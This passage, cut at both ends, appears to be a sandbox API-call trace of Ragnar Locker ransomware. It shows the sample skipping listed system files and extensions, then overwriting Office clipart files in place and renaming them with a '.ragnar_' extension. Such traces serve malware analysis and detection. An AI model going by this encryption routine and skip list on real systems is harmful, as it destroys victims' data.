(lpString1="J0153299.WMF", lpString2="iconcache.db") returned 1 [0085.054] lstrcmpiW (lpString1="J0153299.WMF", lpString2="ntldr") returned -1 [0085.054] lstrcmpiW (lpString1="J0153299.WMF", lpString2="ntuser.dat") returned -1 [0085.054] lstrcmpiW (lpString1="J0153299.WMF", lpString2="ntuser.dat.log") returned -1 [0085.054] lstrcmpiW (lpString1="J0153299.WMF", lpString2="ntuser.ini") returned -1 [0085.054] lstrcmpiW (lpString1="J0153299.WMF", lpString2="thumbs.db") returned -1 [0085.054] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.054] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.054] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.054] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.054] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.054] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.054] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf")) returned 0x20 [0085.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.054] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=36620) returned 1 [0085.054] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8f03, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.054] GetProcessHeap () returned 0x580000 [0085.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.055] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.056] VirtualAlloc (lpAddress=0x0, dwSize=0x8f0c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.056] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.056] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.056] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8f0c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8f0c, lpOverlapped=0x0) returned 1 [0085.058] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.058] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8f0c, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.058] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8f0c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8f0c, lpOverlapped=0x0) returned 1 [0085.058] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8f0c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.058] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.059] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8f0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.059] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.059] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.059] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.059] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.059] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.059] GetProcessHeap () returned 0x580000 [0085.059] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.059] CloseHandle (hObject=0xf4) returned 1 [0085.059] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" [0085.060] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.ragnar_FD7BD9FC" [0085.060] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.060] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7850, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153302.WMF", cAlternateFileName="")) returned 1 [0085.060] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.060] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0153302.WMF" | out: lpString1="J0153302.WMF") returned="J0153302.WMF" [0085.060] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned=".WMF" [0085.060] lstrcmpiW (lpString1="J0153302.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.060] lstrcmpiW (lpString1="J0153302.WMF", lpString2="autorun.inf") returned 1 [0085.060] lstrcmpiW (lpString1="J0153302.WMF", lpString2="boot.ini") returned 1 [0085.060] lstrcmpiW (lpString1="J0153302.WMF", lpString2="bootfont.bin") returned 1 [0085.060] lstrcmpiW (lpString1="J0153302.WMF", lpString2="bootsect.bak") returned 1 [0085.060] lstrcmpiW (lpString1="J0153302.WMF", lpString2="bootmgr") returned 1 [0085.060] lstrcmpiW (lpString1="J0153302.WMF", lpString2="bootmgr.efi") returned 1 [0085.060] lstrcmpiW (lpString1="J0153302.WMF", lpString2="bootmgfw.efi") returned 1 [0085.061] lstrcmpiW (lpString1="J0153302.WMF", lpString2="desktop.ini") returned 1 [0085.061] lstrcmpiW (lpString1="J0153302.WMF", lpString2="iconcache.db") returned 1 [0085.061] lstrcmpiW (lpString1="J0153302.WMF", lpString2="ntldr") returned -1 [0085.061] lstrcmpiW (lpString1="J0153302.WMF", lpString2="ntuser.dat") returned -1 [0085.061] lstrcmpiW (lpString1="J0153302.WMF", lpString2="ntuser.dat.log") returned -1 [0085.061] lstrcmpiW (lpString1="J0153302.WMF", lpString2="ntuser.ini") returned -1 [0085.061] lstrcmpiW (lpString1="J0153302.WMF", lpString2="thumbs.db") returned -1 [0085.061] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.061] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.061] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.061] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.061] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.061] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.061] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf")) returned 0x20 [0085.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.062] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=30800) returned 1 [0085.062] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7847, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.062] GetProcessHeap () returned 0x580000 [0085.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.062] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.064] VirtualAlloc (lpAddress=0x0, dwSize=0x7850, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.064] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.064] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.064] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7850, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7850, lpOverlapped=0x0) returned 1 [0085.065] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.065] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7850, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.065] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7850, lpOverlapped=0x0) returned 1 [0085.066] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7850, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.066] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.066] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7850, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.066] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.066] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.066] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.066] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.066] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.066] GetProcessHeap () returned 0x580000 [0085.066] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.066] CloseHandle (hObject=0xf4) returned 1 [0085.066] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" [0085.066] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.ragnar_FD7BD9FC" [0085.067] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.067] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9658, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153305.WMF", cAlternateFileName="")) returned 1 [0085.067] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.067] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0153305.WMF" | out: lpString1="J0153305.WMF") returned="J0153305.WMF" [0085.067] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned=".WMF" [0085.067] lstrcmpiW (lpString1="J0153305.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.067] lstrcmpiW (lpString1="J0153305.WMF", lpString2="autorun.inf") returned 1 [0085.067] lstrcmpiW (lpString1="J0153305.WMF", lpString2="boot.ini") returned 1 [0085.067] lstrcmpiW (lpString1="J0153305.WMF", lpString2="bootfont.bin") returned 1 [0085.067] lstrcmpiW (lpString1="J0153305.WMF", lpString2="bootsect.bak") returned 1 [0085.067] lstrcmpiW (lpString1="J0153305.WMF", lpString2="bootmgr") returned 1 [0085.067] lstrcmpiW (lpString1="J0153305.WMF", lpString2="bootmgr.efi") returned 1 [0085.067] lstrcmpiW (lpString1="J0153305.WMF", lpString2="bootmgfw.efi") returned 1 [0085.067] lstrcmpiW (lpString1="J0153305.WMF", lpString2="desktop.ini") returned 1 [0085.067] lstrcmpiW (lpString1="J0153305.WMF", lpString2="iconcache.db") returned 1 [0085.067] lstrcmpiW (lpString1="J0153305.WMF", lpString2="ntldr") returned -1 [0085.068] lstrcmpiW (lpString1="J0153305.WMF", lpString2="ntuser.dat") returned -1 [0085.068] lstrcmpiW (lpString1="J0153305.WMF", lpString2="ntuser.dat.log") returned -1 [0085.068] lstrcmpiW (lpString1="J0153305.WMF", lpString2="ntuser.ini") returned -1 [0085.068] lstrcmpiW (lpString1="J0153305.WMF", lpString2="thumbs.db") returned -1 [0085.068] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.068] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.068] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.068] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.068] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.068] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.068] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf")) returned 0x20 [0085.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.068] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=38488) returned 1 [0085.068] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x964f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.068] GetProcessHeap () returned 0x580000 [0085.068] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.068] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.070] VirtualAlloc (lpAddress=0x0, dwSize=0x9658, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.070] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.070] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.070] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9658, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9658, lpOverlapped=0x0) returned 1 [0085.072] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.072] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9658, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.072] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9658, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9658, lpOverlapped=0x0) returned 1 [0085.072] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9658, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.072] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.073] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9658, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.073] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.073] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.073] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.073] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.073] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.073] GetProcessHeap () returned 0x580000 [0085.073] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.073] CloseHandle (hObject=0xf4) returned 1 [0085.073] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" [0085.073] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.ragnar_FD7BD9FC" [0085.073] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.074] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153307.WMF", cAlternateFileName="")) returned 1 [0085.074] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.074] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0153307.WMF" | out: lpString1="J0153307.WMF") returned="J0153307.WMF" [0085.074] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned=".WMF" [0085.074] lstrcmpiW (lpString1="J0153307.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.074] lstrcmpiW (lpString1="J0153307.WMF", lpString2="autorun.inf") returned 1 [0085.074] lstrcmpiW (lpString1="J0153307.WMF", lpString2="boot.ini") returned 1 [0085.074] lstrcmpiW (lpString1="J0153307.WMF", lpString2="bootfont.bin") returned 1 [0085.074] lstrcmpiW (lpString1="J0153307.WMF", lpString2="bootsect.bak") returned 1 [0085.074] lstrcmpiW (lpString1="J0153307.WMF", lpString2="bootmgr") returned 1 [0085.074] lstrcmpiW (lpString1="J0153307.WMF", lpString2="bootmgr.efi") returned 1 [0085.074] lstrcmpiW (lpString1="J0153307.WMF", lpString2="bootmgfw.efi") returned 1 [0085.074] lstrcmpiW (lpString1="J0153307.WMF", lpString2="desktop.ini") returned 1 [0085.074] lstrcmpiW (lpString1="J0153307.WMF", lpString2="iconcache.db") returned 1 [0085.074] lstrcmpiW (lpString1="J0153307.WMF", lpString2="ntldr") returned -1 [0085.074] lstrcmpiW (lpString1="J0153307.WMF", lpString2="ntuser.dat") returned -1 [0085.074] lstrcmpiW (lpString1="J0153307.WMF", lpString2="ntuser.dat.log") returned -1 [0085.074] lstrcmpiW (lpString1="J0153307.WMF", lpString2="ntuser.ini") returned -1 [0085.074] lstrcmpiW (lpString1="J0153307.WMF", lpString2="thumbs.db") returned -1 [0085.074] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.074] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.074] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.074] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.074] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.074] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.074] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 